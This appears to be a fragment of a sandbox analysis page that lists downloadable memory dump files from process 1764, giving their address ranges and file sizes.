memory/1764-158-0x0000000076F60000-0x0000000076FEF000-memory.dmp

Filesize
572KB

Download
memory/1764-159-0x00000000750A0000-0x0000000075120000-memory.dmp

Filesize
512KB

Download
memory/1764-155-0x0000000000970000-0x0000000000A96000-memory.dmp

Filesize
1.1MB

Download
memory/1764-156-0x0000000000080000-0x00000000000C5000-memory.dmp

Filesize
276KB

Download
memory/1764-184-0x0000000075600000-0x0000000075617000-memory.dmp

Filesize
92KB

Download
memory/1764-151-0x0000000077170000-0x00000000771C7000-memory.dmp

Filesize
348KB

Download
memory/1764-185-0x0000000077510000-0x0000000077545000-memory.dmp

Filesize
212KB

Download
memory/1764-148-0x0000000077460000-0x000000007750C000-memory.dmp

Filesize
688KB

Download
memory/1764-150-0x0000000077A20000-0x0000000077A67000-memory.dmp

Filesize
284KB

Download
memory/1764-143-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/1764-142-0x0000000000970000-0x0000000000A96000-memory.dmp

Filesize
1.1MB

Download